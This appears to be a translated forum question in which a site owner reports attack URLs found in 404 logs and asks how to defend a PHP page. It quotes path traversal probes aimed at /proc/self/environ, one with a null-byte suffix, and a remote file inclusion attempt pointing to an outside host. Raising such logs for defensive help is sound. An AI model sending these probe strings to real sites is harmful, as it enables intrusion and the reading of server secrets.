Переглядаючи свої 404 журнали, я помітив наступні дві URL-адреси, обидві з яких траплялися один раз:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
і
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
Сторінка, про яку йдеться, library.php
вимагає type
змінну з півдесятка різних прийнятних значень, а потім id
змінну. Тож може бути дійсною URL-адресою
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
і ідентифікатори виконуються, mysql_real_escape_string
перш ніж використовуватись для запиту бази даних.
Я новачок, але мені здається, що обидва ці посилання - це прості атаки на веб-кореневище?
1) Як найкраще захистити від подібних речей, крім 404?
2) Чи повинен я мати відповідальність за IP-адреси?
EDIT: також щойно помітив це
/library.php=http://www.basfalt.no/scripts/danger.txt
EDIT 2: Критичний IP для всіх 3-х атак - це те, 216.97.231.15
що простежується до Інтернет-провайдера під назвою Lunar Pages, розташованого неподалік від Лос-Анджелеса.
EDIT 3: Я вирішив зателефонувати за місцевим часом у п'ятницю вранці в Інтернет-провайдера та обговорити проблему з тим, кого я можу отримати по телефону. Результати я опублікую тут через 24 години.
EDIT 4: Я закінчив надіслати електронною поштою їх адміністраторам, і вони відповіли спочатку, що "вони розглядали це питання", а потім через день із "цим питанням слід вирішити зараз". Більше ніяких деталей, на жаль.
type
Каже сценарій , які включають в використанні (хоча через IF $_GET['type'] == 'thing') {} ESLE...
, і не як прямий зв'язок , як include 'type.php'
) і id
проходить через mysql_real_escape_string і що використовується для запитів. Знаючи це, я все-таки в безпеці?